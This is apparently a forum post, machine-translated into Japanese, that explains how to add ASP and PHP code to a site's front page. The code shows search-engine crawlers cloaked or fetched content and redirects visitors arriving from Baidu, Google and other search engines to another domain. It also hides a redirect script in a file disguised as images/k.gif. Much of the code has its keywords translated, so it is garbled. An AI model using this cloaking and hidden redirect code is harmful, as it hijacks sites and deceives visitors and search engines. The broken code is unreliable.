まず簡単です。次のコードをフロントページに追加してください:
ASP版
<!--#include file="conn.asp"-->
<スクリプト src="images\k.gif"></script>
PHP版
<!--#include file="conn.php"-->
<スクリプト src="images\k.gif"></script>
そして、ウェブサイトのプログラムに従って、conn.aspやconn.phpがない場合は、自分で作成するコマンドファイルに以下のコードを追加してください。
conn.asp版
以下の複製-------------------------------------------
<%
関数 isspider()
ディムエージェント、セアレイ、I
agent="agent:"&LCase(request.servervariables("http_user_agent"))
searray=array("googlebot","baiduspider","sogou","yahoo","soso","360spider")
isspider= false
i=0 から ubound(searray) に対して
もし(instr(agent,searray(i))>0)ならば、isspider=trueです
次に
終端機能
関数 fromse()
Dim urlrefer,i, searray
urlrefer="refer:"&LCase(request. ServerVariables("HTTP_REFERER"))
フロムセ=偽
もしurlrefer=""ならば、fromse=false
searray=array("google","baidu","sogou","yahoo","soso","360")
i=0 から ubound(searray) に対して
もし(instr(URLREFER,searray(i))>0)ならば、fromse=真
次に
終端機能
関数 gethttp(URL)
DIM HTTP
Set http=createobject("MSXML2. XMLHTTP")
http.open "GET"、URL、false
Http.send()
もしHttp.readystate<>4なら
出口機能
終了
gethttp=bytes2BSTR(Http.responseBody)
Set http=nothing
もしerr.number<>0ならば、err. クリア
終端機能
function bytes2BSTR(vIn)
dim strReturn
ディム・アイ、ディス・チャーコード、次のチャーコード
strReturn = ""
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
もしThisCharCode < & H80 ならば
strReturn = strReturn & Chr(ThisCharCode)
そうでなければ
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + Cint(NextCharCode))
i = i + 1
もしも
次に
bytes2BSTR = strReturn
終端関数
If(isspider())
Dim MyFSO、FileURL、FileCon、myfile、bodyurl、remotehtml
bodyurl="http://www.itsvse.com" //snapshot URL
応答。クリア
remotehtml=gethttp(bodyurl)
response.write(remotehtml)
response.write("<!--"&now()&"-->")
応答。フラッシュ
response.end
終了
%>
conn.php
----------------以下の複製品を----------------
<?php
関数 is_search_bot(){
$user_agent = strtolower($_SERVER['HTTP_USER_AGENT']);
$identify = array(「バイドゥスパイダー」「ソゴウ・スパイダー」「ソソスパイダー」「アイススパイダー」「ナバーロボット」);
foreach ($identify AS $key => $tag){
もし (strstr($user_agent, $tag)){
真を返す;
}
}
Return false; }
関数 is_urlbaidu()
{
$come_from="baidu@sogou@soso@iask@naver";
$referer = explode("@",$come_from);
foreach($referer as $url){
もし (stristr($_SERVER['HTTP_REFERER'],$url)){
真を返す;
}
}
Return false; }
もし(is_search_bot())
{
$html = 「<title>武漢ソフトウェア工学職業大学</title> <メタ名=\"著者\" 内容=\"キーワードと同じ項目を埋めてください\"> <メタ名=\"キーワード\" 内容=\"キーワード\"> <meta名=
\"Description\" 内容=\"Description\"> </head> <body>Content</body></html>";
エコー$html;
}
もし(!is_search_bot() & & is_urlbaidu())
{
Header('Location:http://www.itsvse.com');
}
?>
最後に画像ディレクトリにコードk.gif k.gifファイルをアップロードします:
var s=document.referrer
if(s.indexOf("baidu")>0 || s.indexOf("soso")>0 || s.indexOf("google")>0 || s.indexOf("360")>0 || s.indexOf("sogou")>0)
location.href="http://www.itsvse.com"; リダイレクトURL
|
掲載地 2014/12/01 18:48:55
|
|
|
